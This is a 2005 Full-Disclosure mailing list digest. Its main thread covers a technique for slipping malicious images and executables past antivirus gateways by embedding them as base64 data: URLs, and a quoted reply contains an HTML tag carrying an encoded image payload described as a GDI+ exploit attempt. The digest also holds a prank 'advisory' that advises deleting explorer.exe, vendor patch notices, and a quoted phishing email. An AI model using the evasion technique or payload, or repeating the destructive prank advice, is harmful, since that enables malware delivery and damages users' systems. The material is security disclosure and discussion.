[Full-Disclosure] Using data: URLs for malware injection Message-ID: <20050111214141.GB20998@fqdn.org> Using data: URL for malware injection 2005/01/11, Michael Holzt, kju -at- fqdn.org based on work done by Darren Bounds (see text) As described by Darren Bounds in an earlier posting [1], RFC2397 allows to embed data into an HTML formatted document. While Darren only used this for malicious images, i made some further research which shows that this can also be used to embed an executable file into the document. As shown by Darren, such embedded data is not detected by current AV gateways. This could be abused by websites (and probably HTML email too) for distributing malware. The attack works by using an URL scheme like this: Click me! I've made an example available which embeds putty.exe. The example is about 500 kByte HTML and is available on http://kju.de/misc/putty.html. Please do not spread this URL outside of this list because of the traffic. Feel free to copy the example to your own webspace. My tests with various windows based webbrowsers had the following results: - IE6 clicking on the link does nothing - Mozilla 1.5.4 will try to open the "what should i do with that" file dialog and then hangs. needs to get killed. - Firefox 1.0 allows saving of the data to harddisk (on linux it will also display much rubbish in the save dialog) - Opera 7.5.4 tells that it will open the file with notepad (which sounds ok), but will then EXECUTE IT INSTEAD (without further warning). The behaviour of Opera 7.5.4 seems like a major security bug to me. Can someone else confirm this behaviour? References: [1] Posting by Darren Bounds on 2005/01/10, http://lists.netsys.com/pipermail/full-disclosure/2005-January/030724.html From team_pwn4ge at outgun.com Tue Jan 11 22:52:04 2005 From: team_pwn4ge at outgun.com (Team Pwnge) Date: Wed, 12 Jan 2005 06:52:04 +0800 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER Message-ID: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - TEAM PWN4GE Security Advisory PWNED - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: HIGH Title: EXPLORER: Vulnerability in all versions of Windows Explorer Date: January 11, 2005 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple overflows have been found in Windows Explorer, potentially allowing a remote user to open Explorer and run files remotely. Background ========== Windows Explorer is an advanced browsing tool made by Microsoft. It is used in daily tasks to open folders, copy files, delete files, rename files and view files on a system. It is the foundation of the World Wide Web and used by billions worldwide. It runs on an array of machines. Affected versions ================= All versions of Windows' Explorer are vulnerable Description =========== Shogun Suzuki discovered that a remote user can connect to any machine via numerous exploits and use Windows Explorer to view files, rename files, delete files, change permissions on files stored on a remote machine that has been pwned. Impact ====== A remote attacker could install something similar to PCAnywhere after exploiting Windows and use Windows' Explorer to view, copy and or open any file on a victims machine. Workaround ========== On a command prompt: del C:\WINDOWS\explorer.exe Concerns? ========= Security is a primary focus of TEAM PWN4GE and ensuring the progress of secure Windows machines be our dreams. As security concerns should be addressed to respective vendors, we feel the urge to bypass standards and bring our common dreams of a secure homeland to the Interweb. License ======= Copyright 2005 TEAM PWN4GE The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -- _______________________________________________ Outgun.com free e-mail @ www.outgun.com Check out our Premium services - POP3 downloading, e-mail forwarding, and 25MB mailboxes! Powered by Outblaze From security at linux-mandrake.com Tue Jan 11 23:11:26 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 11 Jan 2005 16:11:26 -0700 Subject: [Full-Disclosure] MDKSA-2005:005 - Updated nfs-utils packages fix 64bit vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: nfs-utils Advisory ID: MDKSA-2005:005 Date: January 11th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1 ______________________________________________________________________ Problem Description: Arjan van de Ven discovered a buffer overflow in rquotad on 64bit architectures; an improper integer conversion could lead to a buffer overflow. An attacker with access to an NFS share could send a specially crafted request which could then lead to the execution of arbitrary code. The updated packages are provided to prevent this issue. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0946 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 71991bf34674e4bebd4870c24dce4929 10.0/RPMS/nfs-utils-1.0.6-2.2.100mdk.i586.rpm 1c6231362def3c56d747b3ccc22b7597 10.0/RPMS/nfs-utils-clients-1.0.6-2.2.100mdk.i586.rpm bf52589c8d97f63f3024f90a79c201c9 10.0/SRPMS/nfs-utils-1.0.6-2.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 28bc6309e5488cd7bf294ae1a4ce68b2 amd64/10.0/RPMS/nfs-utils-1.0.6-2.2.100mdk.amd64.rpm ed8b7dfa77200e5badb473678a91bb2a amd64/10.0/RPMS/nfs-utils-clients-1.0.6-2.2.100mdk.amd64.rpm bf52589c8d97f63f3024f90a79c201c9 amd64/10.0/SRPMS/nfs-utils-1.0.6-2.2.100mdk.src.rpm Mandrakelinux 10.1: bb7161793b2154c3e122adabaed9ed60 10.1/RPMS/nfs-utils-1.0.6-2.2.101mdk.i586.rpm e219e85405758a9ef9511eacf4118e07 10.1/RPMS/nfs-utils-clients-1.0.6-2.2.101mdk.i586.rpm 7510d378225740169ae1a3dbaf0f223f 10.1/SRPMS/nfs-utils-1.0.6-2.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: ed70043e2d95cbebc2cd12e0f973a29f x86_64/10.1/RPMS/nfs-utils-1.0.6-2.2.101mdk.x86_64.rpm 7c086dfb028423e9105525111194aff5 x86_64/10.1/RPMS/nfs-utils-clients-1.0.6-2.2.101mdk.x86_64.rpm 7510d378225740169ae1a3dbaf0f223f x86_64/10.1/SRPMS/nfs-utils-1.0.6-2.2.101mdk.src.rpm Corporate Server 2.1: cc1b1f4c8232db49f40df9117d2237f8 corporate/2.1/RPMS/nfs-utils-1.0.1-1.3.C21mdk.i586.rpm 8af58044e57d46921c0ad8745826d1dd corporate/2.1/RPMS/nfs-utils-clients-1.0.1-1.3.C21mdk.i586.rpm 9d167452a31fc1e5ef4f43086f0d7b34 corporate/2.1/SRPMS/nfs-utils-1.0.1-1.3.C21mdk.src.rpm Corporate Server 2.1/x86_64: c7f8d994d4d261d41f6bf246c280fb10 x86_64/corporate/2.1/RPMS/nfs-utils-1.0.1-1.3.C21mdk.x86_64.rpm 77be17723eb840715500edb3cf8c687b x86_64/corporate/2.1/RPMS/nfs-utils-clients-1.0.1-1.3.C21mdk.x86_64.rpm 9d167452a31fc1e5ef4f43086f0d7b34 x86_64/corporate/2.1/SRPMS/nfs-utils-1.0.1-1.3.C21mdk.src.rpm Mandrakelinux 9.2: 00f2319415647d9fa85926cc05271793 9.2/RPMS/nfs-utils-1.0.5-1.2.92mdk.i586.rpm 680ef7be663350d18ad5b7f94bbc2e21 9.2/RPMS/nfs-utils-clients-1.0.5-1.2.92mdk.i586.rpm 4a49c7508d166c62b6d76e7c1cccbacd 9.2/SRPMS/nfs-utils-1.0.5-1.2.92mdk.src.rpm Mandrakelinux 9.2/AMD64: c0e275ce5838575eda14efb2d582aefc amd64/9.2/RPMS/nfs-utils-1.0.5-1.2.92mdk.amd64.rpm 779856f22f146342ab6e42c4f20acd95 amd64/9.2/RPMS/nfs-utils-clients-1.0.5-1.2.92mdk.amd64.rpm 4a49c7508d166c62b6d76e7c1cccbacd amd64/9.2/SRPMS/nfs-utils-1.0.5-1.2.92mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB5F0emqjQ0CJFipgRAg3wAKDBYs/rXJUwddiDT27a+ij2yMOS7QCfY11g cDdxBS2vNnkYW79o+n63YRk= =ggoY -----END PGP SIGNATURE----- From lists at intrusense.com Tue Jan 11 19:58:43 2005 From: lists at intrusense.com (Darren Bounds) Date: Tue, 11 Jan 2005 14:58:43 -0500 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: References: Message-ID: <325D43D2-640B-11D9-8CCD-000A95820F5E@intrusense.com> Hello Danny, This vulnerability is only applicable to the HTTP data while in transit. Once received by the client the image will be rendered and subsequently detected if local AV software. At the present time, I'm not aware of any AV, IDS or IPS vendor that will detect malicious images imbedded in HTML in this manner. Thank you, Darren Bounds Intrusense, LLC. -- Intrusense - Securing Business As Usual On Jan 11, 2005, at 2:14 PM, Danny wrote: > On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds > wrote: >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> Multi-vendor AV gateway image inspection bypass vulnerability >> January 10, 2005 >> >> A vulnerability has been discovered which allows a remote attacker to >> bypass anti-virus >> (as well other security technologies such as IDS and IPS) inspection >> of >> HTTP image content. >> >> By leveraging techniques described in RFC 2397 for base64 encoding >> image content within >> the URL scheme. A remote attack may encode a malicious image within >> the >> body of an HTML >> formatted document to circumvent content inspection. >> >> For example: >> >> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php >> >> The source code at the URL above will by default create a JPEG image >> that will attempt (and fail >> without tweaking) to exploit the Microsoft MS04-028 GDI+ >> vulnerability. >> The image itself is detected >> by all AV gateway engines tested (Trend, Sophos and McAfee), however, >> when the same image >> is base64 encoded using the technique described in RFC 2397 >> (documented >> below), inspection >> is not performed and is delivered rendered by the client. >> >> While Microsoft Internet Explorer does not support the RFC 2397 URL >> scheme; Firefox, Safari, >> Mozilla and Opera do and will render the data and thus successfully >> execute the payload if the necessary >> OS and/or application patches have not been applied. >> >> ## BEGIN HTML ## >> >> >> >> > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// >> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw >> / >> X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF >> B >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU >> FB >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/ >> bAEMACAYGBwYFCAcHBwkJ >> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv >> /b >> AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj >> Iy >> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/ >> xAAfAAABBQEBAQEBAQAAAAAAAAAA >> AQIDBAUGBwgJCgv/ >> xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR >> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2 >> Rl >> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc >> bH >> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/ >> xAAfAQADAQEBAQEBAQEBAAAAAAAA >> AQIDBAUGBwgJCgv/ >> xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU >> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm >> Nk >> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8 >> TF >> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/ >> APn+iiigD// >> Z"> >> >> >> >> ## END HTML ## >> >> Solution: >> >> While AV vendor patches are not yet available, fixes for all currently >> known image vulnerabilities are >> and have been for several months. If you have not yet applied them, >> you have your own >> negligence to blame. >> >> Contributions: >> >> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in >> platform testing. > > I believe TrendMicro's OfficeScan (client-server scanner) will catch > it, but I am not sure about their gateway device. What was their > response? > > ...D From please_reply_to_security at sco.com Wed Jan 12 01:18:11 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Tue, 11 Jan 2005 17:18:11 -0800 Subject: [Full-Disclosure] UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 : mountd remote denial of service Message-ID: <20050111171811.A1845@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 : mountd remote denial of service Advisory number: SCOSA-2005.1 Issue date: 2005 January 11 Cross reference: sr892156 fz530479 erg712731 CAN-2004-1039 ______________________________________________________________________________ 1. Problem Description mountd is not enabled by default. But when the NFS mountd service is run by inetd, if a NFS mount related request is received from the remote (or local) host, inetd will repeatedly create the mountd process and as a result increasingly consume memory. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1039 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- UnixWare 7.1.4 /usr/lib/nfs/tmp/mountd UnixWare 7.1.3 /usr/lib/nfs/tmp/mountd UnixWare 7.1.1 /usr/lib/nfs/mountd 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.4 / UnixWare 7.1.3 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.1 4.2 Verification MD5 (erg712731.pkg.Z) = 69067669ac277725e8665ac02f955607 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712731.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712731.pkg.Z # pkgadd -d /var/spool/pkg/erg712731.pkg 5. UnixWare 7.1.1 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.1 5.2 Verification MD5 (erg712731.711.pkg.Z) = 4f7e3bba1e5381e28bef0894dc1d9ec1 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712731.711.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712731.711.pkg.Z # pkgadd -d /var/spool/pkg/erg712731.711.pkg 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1039 http://www.nilesoft.co.kr/ SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr892156 fz530479 erg712731. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank Yun Jonglim a security researcher of NileSOFT, Ltd (www.nilesoft.co.kr) for reporting this issue. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFB5GoCaqoBO7ipriERAkkJAJ4xVCkfRughdxUAYyXba4+w53f1mgCfZG5h 67uBgt3Pg945OMT262BZYZ0= =SBR9 -----END PGP SIGNATURE----- From vh at helith.net Wed Jan 12 00:35:38 2005 From: vh at helith.net (vh) Date: Wed, 12 Jan 2005 01:35:38 +0100 Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> References: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com> Message-ID: <20050112013538.17136474.vh@helith.net> On Wed, 12 Jan 2005 06:52:04 +0800 "Team Pwnge" wrote: > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > - TEAM PWN4GE Security Advisory > PWNED- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > - - - > > Severity: HIGH > Title: EXPLORER: Vulnerability in all versions of Windows > Explorer > Date: January 11, 2005 > > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > - > > Synopsis > ======== > > Multiple overflows have been found in Windows Explorer, potentially > allowing a remote user to open Explorer and run files remotely. > > > Background > ========== > > Windows Explorer is an advanced browsing tool made by Microsoft. It > is used in daily tasks to open folders, copy files, delete files, > rename files and view files on a system. It is the foundation of the > World Wide Web and used by billions worldwide. It runs on an array of > machines. > > > Affected versions > ================= > > All versions of Windows' Explorer are vulnerable > > Description > =========== > > Shogun Suzuki discovered that a remote user can connect to any > machine via numerous exploits and use Windows Explorer to view files, > rename files, delete files, change permissions on files stored on a > remote machine that has been pwned. > > Impact > ====== > > A remote attacker could install something similar to PCAnywhere > after exploiting Windows and use Windows' Explorer to view, copy > and or open any file on a victims machine. > > Workaround > ========== > > On a command prompt: del C:\WINDOWS\explorer.exe Isn't explorer the program wich "shows" you the desktop? Just a clue: Use Open-, Net- or FreeBSD. These OSs are good enought for all normal tasks you've to do. Real Workaround: Change the OS There's no other way or you like to wait 5 months for a patch. You've to wait at least 4 weeks because MS don#t provide patches just because there's something critical. Oh no.. they've their "Patch-Day". Something like a game-show but even more worse because you don't get patches for all holes even you did everything right. > License > ======= > > Copyright 2005 TEAM PWN4GE > > The contents of this document are licensed under the > Creative Commons - Attribution / Share Alike license. Mails are FREE... But sometimes Linux-Users need licenses for everything... From kkadow at gmail.com Wed Jan 12 01:16:25 2005 From: kkadow at gmail.com (Kevin) Date: Tue, 11 Jan 2005 19:16:25 -0600 Subject: [Full-Disclosure] MediaSentry false positives? In-Reply-To: <87y8f8f5li.fsf@deneb.enyo.de> References: <87y8f8f5li.fsf@deneb.enyo.de> Message-ID: On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer wrote: > Kevin Kadow wrote: > > Has anybody received "Notice of claimed infringement" from MediaSentry > > for IP addresses which, while registered to you or your organization, > > are in a range not actively in use? > > I've independently received another report of this problem. > > > I see two likely possibilities -- either MediaSentry is not using due > > diligence in verifying that the material for which they send > > infringement notices is actually shared from the address they show in > > the complaint, or somebody on the Internet is spoofing BGP route > > announcements for unused address space out of larger allocations. > > RIPE doesn't have an announcement of the prefix, so I think > MediaSentry was in error. > > I don't think it makes sense for MediaSentry to check their findings > more closely from a business perspective. They don't try to download > the infringing material to confirm that redistribution actually takes > place, either. Sounds like an opportunity to take down MediaSentry. The "takedown" notices state the following: ] On behalf of , owner of the exclusive rights to the ] copyrighted material at issue in this notice, we hereby state, that ] we have a good faith belief that use of the material in the manner ] complained of is not authorized by , its respective ] agents, or the law. ] ] Also, we hereby state, under penalty of perjury, under the laws of ] the State of California and under the laws of the United States, that the ] information in this notification is accurate and that we are authorized ] to act on behalf of the owner of the exclusive rights being infringed ] as set forth in this notification. Given the references to "good faith" and "perjury" in the above text, if the data collection methods employed by MediaSentry are demonstrably faulty, falsely implicate source IP addresses not actually participating in file sharing (not a spoofed BGP route, rather a bogus entry in the Kazaa or eDonkey indexes showing the wrong source IP), MediaSentry may no longer be protected by the "good faith" clause? Kevin From randallm at fidmail.com Wed Jan 12 01:56:17 2005 From: randallm at fidmail.com (RandallM) Date: Tue, 11 Jan 2005 19:56:17 -0600 Subject: [Full-Disclosure] RE: Full-Disclosure: Interesting but suspicious possible phishing mail In-Reply-To: <200501111334.j0BDYZ9f008427@lists.netsys.com> Message-ID: <200501120156.j0C1uCrs005908@lists.netsys.com> Have been getting a number of these come thru also at work. Of course all the users are asking me questions about these. They all have the strange words, paragraphs, and questions like this one. They really got my attention. I at first thought they were hidden messages but Not so as the one we receive come as text. thank you Randall M <|>------------------------------ <|> <|>Message: 4 <|>Date: Tue, 11 Jan 2005 02:27:55 +0000 <|>From: "DAN MORRILL" <|>Subject: [Full-Disclosure] Interesting but suspicious possible <|> phishing mail <|>To: full-disclosure at lists.netsys.com <|>Message-ID: <|>Content-Type: text/plain; format=flowed <|> <|>Hi folks, <|> <|>Got this really interesting mail in my box today, and <|>knowing that I haven't <|>used that e-mail address or ordered anything on line lately. <|>Wondering if it <|>might not be a phishing e-mail. Haven't seen anything like <|>this before. <|>Anyone see anything similar? <|>r/ <|>Dan <|> <|> <|> <|>from : Gabrielle U. Philips, Jr <|>Sent : Monday, January 10, 2005 10:40 PM <|>To : "Gabrielle U. Philips, Jr" <|>CC : mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, <|>mdan22 at qwest.net, mdan32 at qwest.net <|>Subject : Shipping Notification, Tracking Number : <|>TCD461649887242ESB <|> <|>MIME-Version: 1.0 <|>Received: from msnmail2.uswest.net ([63.226.138.22]) by <|>mc10-f38.hotmail.com <|>with Microsoft SMTPSVC(6.0.3790.211); Mon, 10 Jan 2005 14:45:54 -0800 <|>Received: (qmail 72801 invoked by uid 0); 10 Jan 2005 22:45:55 -0000 <|>Received: from unknown (63.226.138.18) by <|>msnmail2.uswest.net with QMQP; 10 <|>Jan 2005 22:45:55 -0000 <|>Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000 <|>Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by <|>mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000 <|>X-Message-Info: JGTYoYF78jHm2Kmrh/becsOSGajhcE+aqhdcaXLDOFI= <|>Delivered-To: mdan12 at qwest.net <|>X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 <|>Fuz1=4Fuz2=4 <|>Return-Path: ihgeclhtquoqdm at gawab.com <|>X-OriginalArrivalTime: 10 Jan 2005 22:45:54.0814 (UTC) <|>FILETIME=[24BA71E0:01C4F766] <|> <|> <|> <|> <|>Content-Type: multipart/mixed; <|>boundary="-----mpls-cmx-12.inet.qwest.net-1105397155-56110" <|> <|> <|>Content-Type: text/plain <|> <|> <|>This email was forwarded from your previous Qwest.net email address <|>to your MSN email address. To discontinue email forwarding for any <|>future emails sent to your previous Qwest.net email address, please <|>contact MSN Customer Service. <|> <|> <|> <|> <|> <|>Content-Type: message/rfc822 <|>Content-Description: forwarded message <|>Content-Transfer-Encoding: 8bit <|>Content-Disposition: inline <|> <|> <|>From: Gabrielle U. Philips, Jr <|>To: "Gabrielle U. Philips, Jr" <|>Cc: mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, <|>mdan22 at qwest.net, <|>mdan32 at qwest.net <|>Subject: Shipping Notification, Tracking Number : TCD461649887242ESB <|>Sent: Monday, January 10, 2005 10:40 PM <|>MIME-Version: 1.0 <|>Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000 <|>Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by <|>mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000 <|>X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 <|>Fuz1=4Fuz2=4 Content-Type: multipart/alternative; <|>boundary="--Part_GRKDac7J6.oMXawOLoYO4" <|> <|> <|>Content-Type: text/html; format=flowed; charset=iso-8859-15 <|>Content-Transfer-Encoding: quoted-printable <|> <|>Check your status Below: <|> <|>cov2pa.com/track.asp?cg=1&c=tc <|> <|>The illiterate of the 21st century will not be those who <|>cannot read and <|>write, but those who cannot learn, unlearn, and relearn. <|>Alvin Toffler <|>Those police officers are practicing driving between the two <|>buildings. <|>The illiterate of the 21st century will not be those who <|>cannot read and <|>write, but those who cannot learn, unlearn, and relearn. <|>Alvin Toffler <|>Haven't the photographers already disliked praying? <|>Few things are harder to put up with than the annoyance of a <|>good example. <|>3 <|>When people are free to do as they please, they usually <|>imitate each other. <|>-Eric Hoffer (1902-1983) <|>Have you already loved sleeping? <|> From stevenrakick at yahoo.com Wed Jan 12 02:56:00 2005 From: stevenrakick at yahoo.com (Steven Rakick) Date: Tue, 11 Jan 2005 18:56:00 -0800 (PST) Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability Message-ID: <20050112025600.45073.qmail@web53206.mail.yahoo.com> At this point I have no choice by to agree. So far I've had an opportunity to test this with Check Point Interspect and McAfee IntruShield. Like you said, (in my lab) both detected and block the malicious image when it was formatted without RFC 2397, but when base64 encoded they were downloaded and excuted there attack. Basically it's looking like no security companies are looking at data formatted in this fashion. I'm not sure but it seems like you can probably transfer anything you'd like by just changing the content type and your anti-virus, IDS, application firewall or whatever you're using at the network level would be completely oblivious. On Tue, 11 Jan 2005 14:58:43 -0500, Darren Bounds wrote: > Hello Danny, > > This vulnerability is only applicable to the HTTP data while in > transit. Once received by the client the image will be rendered and > subsequently detected if local AV software. > > At the present time, I'm not aware of any AV, IDS or IPS vendor that > will detect malicious images imbedded in HTML in this manner. > > > Thank you, > > Darren Bounds > Intrusense, LLC. > > -- > Intrusense - Securing Business As Usual > > On Jan 11, 2005, at 2:14 PM, Danny wrote: > > > On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds > > wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- > >> Hash: SHA1 > >> > >> Multi-vendor AV gateway image inspection bypass vulnerability > >> January 10, 2005 > >> > >> A vulnerability has been discovered which allows a remote attacker to > >> bypass anti-virus > >> (as well other security technologies such as IDS and IPS) inspection > >> of > >> HTTP image content. > >> > >> By leveraging techniques described in RFC 2397 for base64 encoding > >> image content within > >> the URL scheme. A remote attack may encode a malicious image within > >> the > >> body of an HTML > >> formatted document to circumvent content inspection. > >> > >> For example: > >> > >> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php > >> > >> The source code at the URL above will by default create a JPEG image > >> that will attempt (and fail > >> without tweaking) to exploit the Microsoft MS04-028 GDI+ > >> vulnerability. > >> The image itself is detected > >> by all AV gateway engines tested (Trend, Sophos and McAfee), however, > >> when the same image > >> is base64 encoded using the technique described in RFC 2397 > >> (documented > >> below), inspection > >> is not performed and is delivered rendered by the client. > >> > >> While Microsoft Internet Explorer does not support the RFC 2397 URL > >> scheme; Firefox, Safari, > >> Mozilla and Opera do and will render the data and thus successfully > >> execute the payload if the necessary > >> OS and/or application patches have not been applied. > >> > >> ## BEGIN HTML ## > >> > >> > >> > >> >> src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// > >> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw > >> / > >> X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF > >> B > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > >> FB > >> 